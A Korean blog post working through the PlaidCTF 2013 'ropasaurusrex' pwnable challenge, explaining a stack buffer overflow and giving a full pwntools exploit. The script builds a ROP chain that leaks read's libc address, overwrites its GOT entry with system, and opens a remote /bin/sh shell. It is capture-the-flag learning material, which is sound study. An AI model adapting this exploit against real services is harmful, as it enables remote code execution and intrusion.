Pwnable/CTF
PlaidCTF 2013 ropasaurusrex
HSr00t
2017. 2. 11. 20:55
실력이 너무 부족하다보니 그나마 쉽다고 생각되는 CTF 문제들부터 풀어봣다.
느낌이 온다..
함수 이름은 임의로 직접 정한것
버퍼 사이즈는 136인데 .. read 함수로 256만큼 입력을 받는다. (스포를 해보자면 write 함수로 leak을 한 다음에 오프셋을 구해서 공격하면 된다)
main 함수 사진까지 올릴필요는 없다 생각해서 한줄로 적었다. -> return write(1, "WIN\n", 4u); <- 이 write 함수 를 이용하여서 memory leak을 할 수 있다.
Exploit Code (원래 같으면 같이 바이너리와 포함되있는 libc.so.6로 오프셋을 구할 수 있지만 난 로컬로 풀었기때문에 서버쪽에서 오프셋을 얻어온다음에 그것을 이용하여서 풀었다)
-------------------------------------------------------------
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | from pwn import * import time r=remote('192.168.146.155',9001) write_plt=0x0804830c write_got=0x08049614 bss=0x08049628+0x30 read_got=0x0804961C p3r=0x080484b6 read_plt=0x0804832C read_system_offset=0x9ae80 shell="/bin/sh" print "Exploit and Memory leak" payload="\x90"*140 payload+=p32(read_plt) payload+=p32(p3r) payload+=p32(0) payload+=p32(bss) payload+=p32(len(shell)+1) #Memory leak start payload+=p32(write_plt) payload+=p32(p3r) payload+=p32(1) payload+=p32(read_got) payload+=p32(4) #Memory leak End payload+=p32(read_plt) payload+=p32(p3r) payload+=p32(0) payload+=p32(read_got) payload+=p32(4) payload+=p32(read_plt) payload+=p32(0xaabbccdd) payload+=p32(bss) r.sendline(payload) time.sleep(2) r.sendline(shell) read_libc=u32(r.recv(4)) print hex(read_libc) system_libc=read_libc-read_system_offset print "LEAK : System addr: "+hex(system_libc) time.sleep(1) r.sendline(p32(system_libc)) r.interactive() | cs |
------------------------------------------
로컬로 풀어보는데 쉬운문제 같다.